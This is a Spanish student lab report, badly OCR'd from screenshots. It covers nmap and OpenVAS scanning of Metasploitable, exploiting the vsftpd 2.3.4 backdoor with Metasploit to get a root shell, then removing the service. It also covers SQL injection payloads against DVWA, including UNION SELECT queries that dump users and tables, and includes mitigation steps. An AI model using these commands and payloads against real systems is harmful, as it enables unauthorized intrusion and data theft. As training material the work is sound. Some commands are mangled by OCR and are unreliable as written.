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1 FINGERPRINT EN KALILINUX'Y METASPLOIT
1.1 REQUISITOS TECNICOS

1. Entorno de virtualizacion
e Tener instalado Kali Linux y configurado.
e Tener instalado Metasplotable que debe de estar configurada.
2. Red Local
e Las dos maquinas las vamos a poner en modo interna, y la maquina de Kali Linux
también estara en modo puente para que pueda salir a internet en caso que lo
necesitemos.
3. Permisos Administrativos
e Tener permisos de root en ambas maquinas para poder realizar la practica
correctamente.
4. Herramientas Instaladas
e Kali Linux debe de tener las herramientas: Nmap, Zenmap y Metasploit.

1.2 VISUALIZACION DE LOS HOST QUE SE ENCUENTRAN ACTIVOS EN LA RED

Iniciamos las 2 maquinas virtuales que tenemos previamente creadas, Metasplotable y Kali
Linux. Hacemos una prueba de PING para comprobar que llegamos entre si a las maquinas
virtuales.

Lo primero que vamos a realizar es un escaneo de los HOST que se encuentran activos en
nuestra red, para ello hacemos lo siguiente, vamos a enviar un ping para ver que ordenadores
o dispositivos nos responden.

e nmap-sn 192.168.15.1/24

. _______________________________________________________________________________________|
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cidead Mis cursos ¥ Recursos ¥ Enlaces ~ L = ﬂ e

adas a Distancia
a
Archivo Maéquina Ver Entrada Dispositivos Ayuda

(B mmPOdF-|1 2 3 2|00 LN S RE -

raul @kali: ~

File Actions Edit View Help

sudo nmap -sn 192.168.15.1/24
[sudo] password for r
7.94 map.org ) at 2024-11-09 04:15 EST
File System an report for 19 15511
g Host is up (0.00 A
/ MAC Address: 08:00 (Oracle VirtualBox virtual NIC)
Nmap scan report for 19: .15.10
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in 2.71 seconds

-$ ip a
1: <LOOPBACK,UP, LOWER_UP> mtu 65536 qdi: noqueue state UNKNOWN group def
ault glen 1000

link/loopback

v orever pre d_lft forever
2: ROADCAST ,MULTICAST,UP, LOWER_UP> mtu 1500 qdisc fq_codel state UP g
roup default glen 1000
link/ether @i f:ff
inet brd pe global noprefixroute eth@
valid_lft forever preferred_lft forever
inet6 /64 scope link noprefixroute

)i ¢ MBS # @ K CTRLDERECHA

17:16

Podemos observar que estan disponibles el pc de Kali Linux y mi otro pc Metasplotable.
Ip Kali Linux: 192.168.15.10
Ip Metasplotable: 192.168.15.11

1.2.1 Verificacidn de los puertos, servicios y sistema operativo que tienen
Para visualizar los servicios, puertos y el sistema operativo que tienen tenemos que poner:

e sudo nmap -A 192.168.15.1/24

. _______________________________________________________________________________________|
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| ¥ Enlaces ~ JA A 6 -

Archivo Maquina Ver Entrada Dispositivos Ayuda

S eEPo-|1 2 3 4|D

=) raul @kali: ~

File Actions Edit View Help

B OK¥3TsmOrTE &K crDeRecHA

Como podemos ver en la imagen nos muestra informacidn avanzada sobre el equipo
Metasplotable.
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1.2.2 Verificacidon de solo los puertos abiertos
Para que solo nos muestre los puertos que tenemos abiertos tenemos que hacer:

e nmap-sT 192.168.15.11

~ Enlaces ~ L = ﬂ -

Archivo Maqguina Ver Entrada Dispositivos Ayuda

S mmPoF-]-|1 2 3 4|8

raul@kali: ~

File Actions Edit View Help

ap.org ) at 2024-11-09

Nmap done: 1 IP address (1 host up) scanned in @.28 seconds

S¢S ¥ 68 K CTRL DERECHA

Como observamos en la imagen tiene bastantes abiertos.

1.2.3  Ver la version concreta de los servicios que tienen activados
Para ver los servicios que tienen activados tenemos que hacer:

e nmap-sV 192.168.15.11
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| ~ Enlaces ~ 0 = ﬂ -
i

Archivo Maguina Ver Entrada Dispositivi Ayuda
5y D v |1
raul @kaliz

File Actions Edit View Help

cp open unkn
-11-09 @

Bubuntul (protoc

Linux; CPE: cpe i Linux_kernel

B 0¥ T & WO T & 0 croDerRecHA

09/11/2024

Aqui en la imagen se pueden ver la version de cada uno de los servicios que hay abiertosy a
que puerto pertenecen.
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1.2.4 Escaneo silencioso de los puertos
Para hacer un escaneo de los puertos sin “llamar mucho” la atencién en la red y de esta forma
pasar mas desapercibidos generando menos “ruido”:

e nmap -sS$192.168.15.11

{ ¥ Enlaces ~ L = ﬂ -

i Archivo Maéquina Ver Entrada Dis

S emmPori-| e

raul @kali: ~

File Actions Edit View Help

24-11-09 04:32 EST

virtual NIC)

(1 host up) s d in ©.29 seconds

B O¥T#MOrTE @D cr DrRecHA

1.2.5 Escaneo con ZENMAP
Primero tenemos que instalar ZENMAP desde la consola de comandos, antes realizar un
update/upgrade para que no haya problemas con la instalacién.

e Sudo apt install Zenmap

Nos empezard a reportar el andlisis que hayamos escogido y no saldra algo asi:
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cideo,d Mis cursos ¥ Recursos ~ Enlaces ~ L = ¢ 9 v

ias a Distancia

a
| Archivo Maquina Ver Entrada Dispositivos  Ayuda
mBEPEOF |1 2 3 4|80 e
Zenmap
Scan Tools Profile Help
Target: 192.168.15.1/24 v Profile: Intense scan

Command: nmap-T4 -A-v192.168.15.1/24

Services Nmap Output Ports / Hosts Topology Host Details Scans

Host 2. nmap-T4 -A -v192.168.15.1/24 Details

& 192.168.15.10 Nmap scan report for
4. 192.168.15.11 Host is up (0.00036s latency).
YT 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION|
21/tcp open ftp vsftpd 2.3.4|
| _ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: <
|  STAT:
| FTP server status:
| Connected to
| Logged in as ftp
| TYPE: ASCII
|
|
|
|
|

No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
vsFTPd 2.3.4 - secure, fast, stable
End of status
22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:el:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

e e
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd]

sslv2:
SSLv2 supported
ciphers:
Filter Hosts SS12 RC2 128 CRC WTTH MD5

BONTLSMETE @ CTRLDERECHA

. _______________________________________________________________________________________|
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2 PENTESTING, ANALISIS Y EXPLOTACION DE VULNERABILIDADES

2.1 Instalacion OpenVas analisis de vulnerabilidades
Primero vamos a instalar la herramienta openvas:

e Sudo apt install openvas

Archive Magquina Ver Entrada Dispositivos Ayuda

S mEmP O]

O

raul@raulkali: ~

Archivo Acciones Editar Vista Ayuda

io timeout
Irsync error:
ISYync error:

: Downloading CERT-Bund d: from
ommunity.greenbone.net/community/vulnerability-
m/cert-data
ing gvmd d from

[+] Done
[*] P te the admin user
4ebc-b8c5-4Tb@-bbbc-69F72Fh42

[>] You can now run gvm-check-setup to mak re ¢ rthing is correctly conf
igured

=T ¥, &3 B CTRL DERECHA

Cuando nos termine de instalar nos dara la contrasefia del usuario administrador, que es la que
utilizaremos mds adelante para acceder a la interfaz gréfica.

. _______________________________________________________________________________________|
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Ahora arrancamos el servicio de openvas:

e sudo gvm-start

e
Archivo Maquina Ver Entrada Dispositivos Ayuda

ﬁ\- -',t‘bE]v_\1 2 3 4“,"'.&@!&;

raul@raulkali: ~

Archivo Acciones Editar Vista Ayuda

sudo: a password is required

~

[sudBEWZontraseﬁa para raul:
[>] Please wait for the GVM services to start.

You might need to refresh your browser once it opens.
Web UI (Greenbone Security Assistant): https://127.0.0.1:9392

e gsad.service - Greenbone Security Assistant daemon (gsad)
Loaded: loaded (/usr/lib/systemd/system/gsad.service; disabled; preset:
disabled)
Active: active (running) since Sun 2024-11-10 15:48:18 CET; 2@0ms ago
Invocation: bld2f860fb2c42a09@e9c3c51e20dffb
Docs: man:gsad(8)
https://ww.greenbone.net
Main PID: 38452 (gsad)
Tasks: 1 (limit: 19049)
Memory: 2.1M (peak: 2.1M)
CPU: 19ms
CGroup: /system.slice/gsad.service

i

B OIS 0 ElT ¥ ¢ B CRLDERECHA

Nos abrird el puerto 9392 que es con el que entraremos en la herramienta de openvas.

e https://localhost:9392

. _______________________________________________________________________________________|
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Nos aparecerd una pagina en la nos advierte que puede haber un riesgo, le damos a Avanzado
y posteriormente a Aceptar el riesgo y continuar.

e Usuario: admin

e Contraseiia: La que nos ha indicado antes que teniamos puesta, si queremos
cambiarla por una nueva tenemos que ejecutar este comando: sudo runuser -u
_gvm -- gvmd --user=admin --new-password=admin

Archive Maquina Ver Entrada

N ERP o

© 4 Greenbone Security Ass
™S O P

U localhost LS

Kali Linux #& KaliTools = KaliDocs % Kali Forums ¢ Kali NetHunter Exploit-DB Google Hacking DB

Dashboards Resilience Secinfo Configuration Administration

3

[I]]l Dashboards

Overview [F

oo

Tasks by Severity Class (Total: 0) X Tasks by Status (Total: 0) b

2.2 Escaneo de la maquina Metasplotable
Para escanear la maquina Metasplotable, accedemos a la herramienta y pinchamos en Scans
- Tasks > New Task

Agregamos el host al que queremos hacer el escaneo y lo guardamos.

. _______________________________________________________________________________________|
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Ver Entrada

Méquina

vmE P o]

& Greenbone S

C o (ORI

KaliLinux # KaliTools = KaliDocs % KaliForums e\ Kali NetHunter

Disp Ayuda

localhost

Secinfo

Exploit-DB

Edit Task Escaneo metasploiteable raul arribas cidead -

Name
Comment
Scan Targets
Alerts

Schedule

Add results to
Assets

[ Apply Overrides
Name 4 Min QoD

Escaneo|
cidead Alterable Task

Auto Delete
Reports

Scanner

Scan Config

Escaneo mefasploiteable raul arribas cidead

metasploiteable v ¥

v

v [Jonce[¥
® Yes (O No
@® Yes (O No
70 L
O Yes ® No

(® Do not automatically delete reports
() Automatically delete oldest reports but always keep newest

OpenVAS Default v

Full and fast v

reports

1 >

enbone.net

Creamos la tarea y la ejecutamos, cuando nos termine nos aparecera como Done:

RAUL ARRIBAS REDONDO | MANUAL DE INSTALACION | NOMBRE DE LA PRACTICA
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Archive Maquina Ver Entrada Dis

S ra P o

&= & Greenbone Security As

@ O & ® @ &

loit-DB Google Hacking DB OffSec

&
Dashboards Assets Resilience Secinfo Configuration Administration
(ORI Filter OXOOF - v
5 Tasks 1 of 1 O
Tasks by Severity Class (Total: 1) x Tasks with most High Results per Host  x Tasks by Status (Total: 1) x
I High Done I

eable raul arribas cidead

Results per Host

[ 1-10f1
Name A Status Reports Last Report Severity Trend Actions
Escaneo metasploiteable raul arribas Mon, Nov 11, 2024 - =

| Done |
cidead 1 3:39 AM UTC e bl IEee

R

Apply to page contents v | % _||Ij||_

(Applied filter: apply_overrides=0 min_god=70 sort=name first=1 rows=10)

Copyright

- R

. _______________________________________________________________________________________|
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ANALISIS Y EXPLOTACION DE VULNERABILIDADES

Maquina Ver Entrada Dis

im P oD

& Greenbone Security As

g @ ® 9

Exploit-DB Google Hacking DB OffSec

Assets Resilience Secinfo Configuration Administration

O]
i
|||\T

E@v 07 L Drilter OXO®HF -

Re Mon, Nov 11, 2
@oﬁ[’ 024 3:39 AM UT mamcrwes -

Owner: admin

C
Information Results Hosts Ports Applications Operating CVEs Closed TLS Error User I
(67 of 1ofl) (190f (19 of 19} Systems 340f  CVEs Certificates Messages Tags
601} 2 (1of1) 34 10 0f0) (2072 (0 0r 0) 0)
- 1- 67 of 67
Host
Vulnerability & Severity ¥ QoD Location  Created
P Name
.. . Mon, Nov 11,
TWiki XS5 and Command Execution H 80% 192.168.15.11 80/tcp 2024 4:01 AM
Vulnerabilities b uTC
L . . Mon, Nov 11,
Distributed Ruby (dRuby/DRb} Multiple RCE & 99% 192.168.15.11 8787/tcp 2024 4:03 AM
Vulnerabilities uTC
Mon, Nov 11,
rlogin Passwordless Login 5 80% 192.168.15.11 513/tcp 2024 3:55 AM
uTC
. . Mon, Nov 11,
Operating System (0S) End of Life (EOL) - 80% 192.168.15.11 general/ 5024 3:58 AM
Detection - R tcp e
Mon, Nov 11,
The rexec service is running 5 B0% 192.168.15.1F ., rignt « 090243V HEER bone 2028,4:00.AM - ot

2T 6

Aqui podemos ver una lista de las vulnerabilidades que nos ha encontrado.

e TWiki XSS and Command Execution Vulnerabilities:

Descripcion: TWiki es una plataforma de colaboracién que, en algunas versiones, presenta
vulnerabilidades de ejecucién de comandos y XSS (Cross-Site Scripting), lo que permite a
atacantes ejecutar comandos en el servidor con los privilegios del sistema o inyectar scripts
maliciosos en el navegador de otros usuarios.

e Distributed Ruby (dRuby/DRb) Multiple RCE Vulnerabilities:

Descripcion: dRuby/DRb es una biblioteca de Ruby para programacién distribuida. Estas
vulnerabilidades permiten ejecucidon remota de codigo (RCE), lo que significa que un atacante
podria ejecutar comandos arbitrarios en el servidor vulnerable de forma remota.
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o vsftpd Compromised Source Packages Backdoor Vulnerability:

Descripcion: Se refiere a una version comprometida del servidor FTP vsftpd que contiene una
puerta trasera. Los atacantes pueden explotar esta puerta para obtener acceso no autorizado
al sistema.

e Operating System (OS) End of Life (EOL) Detection:

Descripcidn: Este escaneo detecta que el sistema operativo ha llegado al final de su vida util, lo
gue implica que ya no recibe actualizaciones de seguridad ni soporte oficial, dejando el sistema
vulnerable a ataques.

2.3 Estudio de una vulnerabilidad especifica vsftpd 2.3.4
Vamos a elegir la vulnerabilidad vsftpd Compromised Source Packages Backdoor Vulnerability

2.4 Descripcidn de la vulnerabilidad

La vulnerabilidad "vsftpd 2.3.4 - Backdoor Command Execution" se refiere a una puerta
trasera maliciosa que fue introducida en la version 2.3.4 del servidor FTP vsftpd. Cuando un
usuario se conecta al servidor FTP y proporciona un nombre de usuario que termina con :), se
desencadena la creacidn de una conexidn de shell en el puerto 6200 del servidor. Esto permite
al atacante ejecutar comandos de forma remota, dandole control total sobre el sistema
comprometido. Esta vulnerabilidad fue una alteracién intencionada del codigo fuente del
paquete de vsftpd.

2.5 Suimpacto

El impacto de la vulnerabilidad "vsftpd 2.3.4 - Backdoor Command Execution" es severo, ya
gue permite a un atacante tomar control remoto del sistema afectado sin autorizacidn. Esto
puede llevar a la ejecucidon de comandos maliciosos, robo de datos, instalacién de malware y
otros tipos de ataques que comprometen la seguridad y confidencialidad del servidor.

2.6 Exploit conocidos

El exploit mas conocido para la vulnerabilidad "vsftpd 2.3.4 - Backdoor Command Execution’
esta disponible en el framework de Metasploit. Este exploit permite a un atacante conectarse
al servidor FTP vulnerable y, utilizando un nombre de usuario con :), obtener una sesién
remota con acceso al sistema objetivo.

El exploit utiliza la puerta trasera incluida en la version comprometida de vsftpd 2.3.4 para
establecer una conexion de shell en el puerto 6200. Esto le otorga al atacante control completo
del sistema afectado, lo que puede usarse para ejecutar comandos, extraer datos, o llevar a
cabo otras actividades maliciosas.

2.7 CVE
NVD - CVE-2011-2523

. _______________________________________________________________________________________|
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2.8 Explotacion de la vulnerabilidad vsftpd 2.3.4
Primero nos aseguramos que llegamos a la maquina que vamos a explotar, haciendo un ping a
la192.168.15.11

1. Abrimos mfsconsole
2. Buscamos la vulnerabilidad correspondiente
- Search vsftpd 2.3.4

Archive Maquina Ver Entrada Dispositivos Ayuda

BERRPOC]|1 23 4]|wE 7 ¢ A Be|a G

Papelera T

- raul@raulkali: ~

r Archivo Acciones Editar Vista Ayuda
Sistema de ...
=[ metasploit vé 3 V
+ - 2461 exploits - 1 auxiliary - 431 post

e 1468 payloads - 49 encoders - 11 nops
+ — —=[ 9 evasion

f

/ Metasploit Documentation: https://docs.metasploit.com/
Carpeta peg# msf6 > search vsftpd 2.3.4

Matching Modules

# Name Disclosure Date Rank
Description
VBox_GAs_... - S S T

© exploit/unix/ftp/Nsftpd 234 _backdoor 2011-07-03
VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example

msfé > i

BONI WSS T ¢ 0 CRLDERECHA

. _______________________________________________________________________________________|
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3. Usamos la vulnerabilidad que hemos encontrado
- use xploit/unix/ftp/vsftpd_234 backdoor

Archivo Maquina Ver Entrada Dispositivos Ayuda

N EEROC] 1 23 4|00 LON S B -

Papelera -
& b

- raul@raulkali: ~

Archivo Acciones Editar Vista Ayuda

0 exploit/unix/ftp/Msftpd 234 backdoor 2011-07-03

y VMSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example inf

1
f / msf6 > use xploit/unix/ftp/vsftpd_234_ backdoor
Carpeta pegf Matching Modules

# Name Disclosure Date Rank
Description

0 exploit/unix/ftp/vsftpd_234 backdoor 2011-07-03
VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example inf

Using exploit/unix/ftp/vsftpd_234_backdoor
No payload configured, defaulting to cmd/unix/interact
msf6 exploit( ) > 1

% BT ¥, 63 £ CTRL DERECHA

4. Mostramos las opciones que tenemos
- Show Options

5. Seteamos la maquina objetivo
- Setrhost 192.168.15.11

. _______________________________________________________________________________________|
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Prchivo

=P

Papelera

f
Carpeta pe/

VBox_GAs._...

Maquina Ver

Entrada Ayuda

]| 1 2 3

Dispositivos

= (] X

OD¢ A Bl |a G

T

# raul@raulkali: ~

Archivo Acciones Editar Vista

Ayuda

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name
CHOST no
CPORT no
Proxies no

Current Setting

RHOSTS yes

Exploit target:

Id Name

0 Automatic

View the full module info with the

msf6 exploit(
rhosts = 192.168.15.11
msf6 exploit(

Required

Description

The local client address

The local client port

A proxy chain of format type:host:po
rt[,type:host:port][ ... ]

The target host(s), see https://docs
.metasploit.com/docs/using-metasploi
t/basics/using-metasploit.html

The target port (TCP)

or T command.

) > set rhosts 192.168.15.11

B T ¥, 43 £ CTRL DERECHA

samlisaianman Ada b Ailamanilhiliadaad

6. Ejecutamos con run

- Run

. _______________________________________________________________________________________|
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Ed

Archivo Maquina Ver Entrada Dispositivos Ayuda

Y = IE +9 [:] < ] 1 122 3 O 4 A B 627 ‘ a G

Papelera

e
P L

raul@raulkali: ~

r Archivo Acciones Editar Vista Ayuda
Automatic
msf6 exploit( ) > set rhosts 192.168.15.11

rhosts = 192.168.15.
msf6 exploit > run
Carpeta p £ ¢ )

192.168.15.11: Banner: 220 (vsFTPd 2.3.4)
192.168.15.11:2 USER: 331 Please specify the password.
[+] 192.168.15.11: Backdoor service has been spawned, handling ...
[+] 192.168.15.11: UID: uid=0(root) gid=0(root)
Found shell.
Command shell session 1 opened (192.168.15.10:40293 — 192.168.15.11:6200
VBox_GAs._... ) at 2024-11-11 06:26:44 +0100

View the full module info with the info, or info -d command.

id

uid=0(root) gid=0(root)
whoami

root

1s

bin

boot

cdrom

15 ¥, €8 £3 CTRL DERECHA

mamnlisaianman Ada b Aiamanilailidaad

5 & 5w oD 13:27 O

11/11/2024

Ya estamos dentro de la maquina remota y somos root como podemos observar en la anterior
captura de pantalla.

2.9 Solucion de la vulnerabilidad VSFTPD v2.3.4

Para solucionar la vulnerabilidad tenemos varias opciones, podemos actualizar a una version
mas reciente la herramienta, desinstalarlo si no lo vamos a utilizar y configurar el acceso
andnimo o solo a usuarios especificos.

Vamos a eliminar todo lo que podamos de ese servicio, desinstalarlo y borrar sus archivos de
configuracion:

sudo apt-get remove vsftpd
sudo rm -rf /etc/vsftpd.conf

. _______________________________________________________________________________________|
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sudo rm -rf /etc/xinetd.d/vsftpd

sudo rm -rf /var/log/vsftpd.log

irchivo  Maguina Ver Entrada Dispositives  Ayuda
rtmap postfix postgresqgl-6.3
fadmin@metasploitable:™5 sudo setcrinit.d/po
rtmap postfix postgresgl-8.3
fadmin@metasploitable:™5 sudo setcrrc
0.4~ rcZ.d/s rcd.d/ rcG.ds rc3.ds
1.4~ rc3i.d/s rc5.d/ rc.local
fadmin@metasploitablg: ™5 sudo cd retcr
do: cd: command not found
fadmin@metasploitable:™5 ls
Inerable
fadmin@metasploitable:™5 cd vulnerabler
fadmin@metasploitable:”/vulnerable$ Is
sgql-ssl1 samba tikiwiki twikiZ0030201
fadmin@metasploitable:”vulnerable§ cd
fadmin@metasploitable:™5 1s
Inerable
fadmin@metasploitable:™5 cd
fadmin@metasploitable: hone$ ls
p msfadmin service user
fadminBmetaznloitable: home5 cd setcsrc.local
vash: cd: setcrsrc.local: Not a directory
:fadmin@metasploitable: home$ sudo rm -rf retcr/usftpd.conf
:fadmin@metasploitable: home$ sudo rm -rf setcr/xinetd.d-vsftpd
:fadmin@metasploitable: home$ sudo rm -rf svarslog-susftpd.log
:fadmin@metasploitable: home$ _

B Owo#MWE T ¥ & K3 CRLDERECHA

COMPROBACION

Ahora probamos de nuevo con la maquina Kali Linux para ver que no nos deja entrar por esta
vulnerabilidad:

Como vemos nos sale que la conexidn fue rechazada y no podemos conectarnos de esta forma.
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Entrada Dispositivos Ayuda

oFv|1 2

T
- .

i raul@raulkali: ~

Archivo Acciones Editar Vista Ayuda

msf6 > use xploit/unix/ftp/vsftpd_234_backdoor

ing Modules

# Name Disclosure Date Rank
Description

0 exploit/unix/ftp/vsftpd_234 backdoor 2011-07-03
VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example
) ‘ =7 e X

Using exploit/unix/ftp/vsftpd_234_backdoor

No payload configured, defaulting to cmd/unix/interact
msf6 exploit( ) > set rhosts 192.168.15.11
rhosts = 192.168.15.11
msf6 exploit( ) > run

192.168.15.11:21 - Exploit failed [unreachable]: Rex::ConnectionRefused T
he connection was refused by the remote host (192.168.15.11:21).

Exploit completed, but no session was created.
msf6 exploit( ) > 1

4

. ________________________________________________________________________________________
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3 WEB HACKING. VULNERABILIDADES A NIVEL DE SERVIDOR

Ahora vamos a utilizar la maquina virtual DVWA la cual es vulnerable a aplicaciones web,
vamos a llevar a cabo acciones de vulnerabilidad.

3.1 Instalary configurar la magquina DVWA
Primero de todo vamos a realizar la practica en Kali Linux, primero tenemos que descargarnos
desde el repositorio de GIT HUB la maquina con la cual vamos a realizar la practica.

e git clone https://github.com/digininja/DVWA.git

Una vez nos lo descarguemos vamos a mover la carpeta hacia la ruta /var/www/html
e sudo mv DVWA /var/www/html

Iniciamos Apache si no lo tenemos corriendo:

e sudo systemctl status apache2

Accedemos a la url desde un navegador: locahost/DVWA

Nos aparecerd el siguiente error:

Archive Maquina Ver Entrada Disp

I X A 3 4 O o A @ 1407

3 ) GitHub - digininja/ * localhost/DVWA/ x ~

<« C @ O [ localhost i @ & @

KaliLinux # KaliTools = KaliDocs & KaliForums e Kali NetHunter Exploit-DB Google Hacking DB Off5Sec

I DVWA System error - config file not found. Copy config/config.inc.php.dist to config/config.inc.php and configure
| to your environment.

Nos movemos a la ruta /var/www/html/DVWA y ejecutamos este comando en la terminal:
e cp config/config.inc.php.dist config/config.inc.php

Nos vamos al navegador y ponemos la URL: localhost/DVWA/setup.php y le damos abajo del
todo Create / Reset Database

Ejecutamos el sercicio de mariaDB:

e sudo service mariadb start

. _______________________________________________________________________________________|
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Ver Entrada Disp

€ GitHub - digininja/D X ¢ Setup :: Damn Vulnerab

O O localhost

KaliLinux &5 KaliTools = KaliDocs & KaliForums ! Kali NetHunter Exploit-DB Google Hacking DB OffSec

o)

\ ' Database Setup ™

Instructions ‘ Click on the 'Create / Reset Database’ button below to create or reset your database.
If you get an error make sure you have the correct user credentials in: ivarhwwwihtml/DVWA/config!
config.inc.phj

About | LA
If the database already exists, it will be cleared and the data will be reset.
You can also use this to reset the administrator credentials ("admin // password”) at any stage.
Setup Check
Web Server SERVER_NAME: localhost

* Operating system: *nix

PHP version: 8.2.24

PHP function display_errors: Disabled

PHP function display_startup_errors: Disabled

PHP function allow_url_include: Disabled

PHP function allow_url_fopen: Enabled

PHP module gd: Missing - Only an issue if you want to play with captchas
PHP module mysql: Installed

PHP module pdo_mysql: Installed

Backend database: MySQL/MariaDB
Database usermname: dvwa
4 Database password: "

Database database: dvwa
Database host: 127.0.0.1
Database port: 3306

reCAPTCHA ke!: Missing

ibn y normas sobre seguridad ~

3.1.1 Creamos la base de datos
Abrimos mysq desde la terminal con el usuario root conectado

e Sudosu-
e Mysql

Ejecutamos estos comandos:
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MariaDB [(none)]> create
Query OK, 1 row affected

MariaDB [(none)]> create user dvw ocalhost identified by 'p@ssword';
Query OK, @ rows affected (0,393 sec)

MariaDB [{none)}]> grant all on dvwa.* to dvwa@localhost;

Query OK, @ rows affected (@,311 sec)

MariaDB [(none)]> flush privileges;
Query OK, @ rows affected (0,001 sec)

Probamos que nos podemos conectar con el usuario correctamente:

/var/vwm/html/DVWA
—$ sudo L -u dvwa
[sudo] contrasefia para raul:
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or
\g.
Your MariaDB connection id is 32
Server version: 11.4.3-MariaDB-1 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation A
b and others.

Support MariaDB developers by giving a star at https://
github.com/MariaDB/server |

Type 'help;' or '\h' for help. Type '\c' to clear the c
urrent input statement.

MariaDB [(none)]> |}

Volvemos al navegador y ponemos la siguiente URL: localhost/DVWA/setup.php volvemos a
darle a Create /Reset Database

. _______________________________________________________________________________________|
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Usuario: admin

Contrasefia: password

n|x|+ - ] X‘ o *

Gl D L - O a A ®d G O

[‘O e !

Archivo Maquina Ver Entrada

I X Jak

Archivo Acciones Editar Vista Ayuda
5 € GitHub - digininj *  Login:: Damn Vulnerable \

&« C @ QO [ localhost w7 @ & ®

KaliLinux # KaliTools + KaliDocs ¥ KaliForums & Kali NetHunter Exploit-DB Google Hacking DB

DWA)

Username

Password

Damn Vulnerable Web Application (DWWA)
=1 ¥, 43 B CTRL DERECHA
Full Course
oy seguridad

AP s
ACa@E@®IW o O

Cambiamos el nivel de seguridad: DVWA Security y lo ponemos en low para poder ver las
vulnerabilidades que tiene.

. _______________________________________________________________________________________|
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0. IIII|JL.I:|2:-IL.II': = 1IIES IEVED ST e esEune I:I.Hd.lllbl. dll v
source code to the secure source code,
Prior to DVWA v1.9, this level was known as "high'.

| Low v | | Submit |

Security level set to low

3.2 Obtener la lista de usuarios existentes en el sistema
Dentro de la pdgina web nos vamos al apartado SQL Injection, y para que nos salga una lista de
los usuarios de la base de datos tenemos que poner: 1’ or ‘1’ =1’

-
Archive Maquina Ver Entrada Dispositivos Ayuda

N EEP o]

=

Archivo Acciones Editar Vista Ayuda
5 O GitHub - digininja/DV * & Vulnerability:

& C @ U O localhost bk @ s @ 9

KaliLinux @ KaliTools = KaliDocs & Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

o)

Home Vulnerability: SQL Injection

Instructions

Setup / Reset DB User ID: [T or 1' =1 |[ submit |

ID: 1' or '1' ="1
Brute Force First name: admin
Surname: admin

Command Injection

ID: 1' or '1' ="1
First name: Gordon
File Inclusion Surname: Brown

CSRF

File Upload ID: 1' or '1' ="1
First name: Hack
Insecure CAPTCHA surname: Me

ID: 1' or '1' ="1
First name: Pablo
surname: Picasso

SQL Injection (Blind)

Weak Session IDs
ID: 1' or '1' ="1
XSS (DOM) First name: Bob
Surname: Smith

XSS (Reflected)

XSS (Stored)
CSP Bypass More Information

6n y normas sobre seguridad -
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3.2.1 Formas de mitigar la vulnerabilidad

e Usar consultas preparadas (prepared statements)

e Escapar caracteres especiales (como ', ;, --)

e Aseglrate de que todas las entradas del usuario se validen antes de ser utilizadas en
consultas SQL.

e Deshabilitar mensajes de error detallados.

e Aseglrate de que la base de datos y las cuentas de usuario solo tengan acceso limitado
a los datos que realmente necesitan.

3.3 Obtener el nombre de: bases de datos, tablas de una de ellas, y columnas

de una de las tablas

Vamos a listar el nombre de la base de datos, la tabla de una de ella y una columna de esa
tabla.

Para listar el nombre de la base de datos:

e "UNION SELECT null, database() --

e
Archive Maquina Ver Entrada Dis

IEY X Jalk

IS Vulnerability: SQL Injectic X + v

¢« C @ U DO localhost 7 ® 9

KaliLinux & KaliTools ¢ KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB

o)

i | Vulnerability: SQL Injection
Instructions |
Setup | Reset DB | User ID: | supmit |

ID: ' UNION SELECT null, database() --
First name:
Surname: dvwa

Brute Force

Command Injection

CSRF

File Inclusion More Information

File Upload

Insecure CAPTCHA

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)
XSS (Reflected)

3 XSS (Stored)

. _______________________________________________________________________________________|
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Para ver las tablas que estan en la base de datos dvwa:

e 'UNION SELECT null, table_name FROM information_schema.tables WHERE
table_schema='dvwa' --

Para ver una columna por ejemplo de la tabla guestbook

e 'UNION SELECT null, comment FROM dvwa.guestbook --

[Archive Maquina Ver Entrada Dis

"Em P O] 3 A 44| @ G

© Vulnerability: SQL Injectic X + v

C @ l:) [ localhost 7 ¥ @ i]

KaliLinux g& Kali Tools # KaliDocs % Kali Forums ¢\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

o)

Homa | Vulnerability: SQL Injection

Instructions |

Setup / Reset DB | User ID: DM dvwa.guesthook — || Submit |
ID: ' comment FROM dvwa.guestbook --

Brute Force First name:
Surname: This is a test comment.

Command Injection

CSRF

File Inclusion More Information

File Upload

Insecure CAPTCHA

SQL Injection (Blind)

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

Authorisation Bypass

Open HTTP Redirect

|
|
|
|
|
|
|
|
Weak Session IDs |
|
|
|
|
|
|
|
Cryptography |

BRONT SWE T T, ¢ 0 CTRLDERECHA

‘.‘ 30°C Parc nublade ~ O & [E %@ T d)

. _______________________________________________________________________________________|
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3.4 Obtener la lista de usuarios con los que se puede acceder a la aplicacién

web. Trata de entrar con uno de dichos usuarios.
Para obtener la lista de usuarios de la base de datos utilizamos:

e '"UNION SELECT null, user FROM dvwa.users —

rchivo Maquina Ver Entrada Dispositi

<3 Vulnerability: SQL Injectic X +

QO [ localhost B % ®

Kali Linux 8 Kali Tools ¢ KaliDocs M Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

o)

Home | Vulnerability: SQL Injection
Instructions. |
Setup | Reset DB | User ID: [r FROM dvwa.users - || Submit |

ID: ' UNION SELECT null, user FROM dvwa.users --
First name:
Surname: admin

Brute Force

Command Injection

ID: ' UNION SELECT null, user FROM dvwa.users --
First name:
Surname: gordonb

CSRF

File Inclusion

File Upload ID: ' UNION SELECT null, user FROM dvwa.users --
First name:
Insecure CAPTCHA Surname: 1337

ID: ' UNION SELECT null, user FROM dvwa.users --
First name:
Surname: pablo

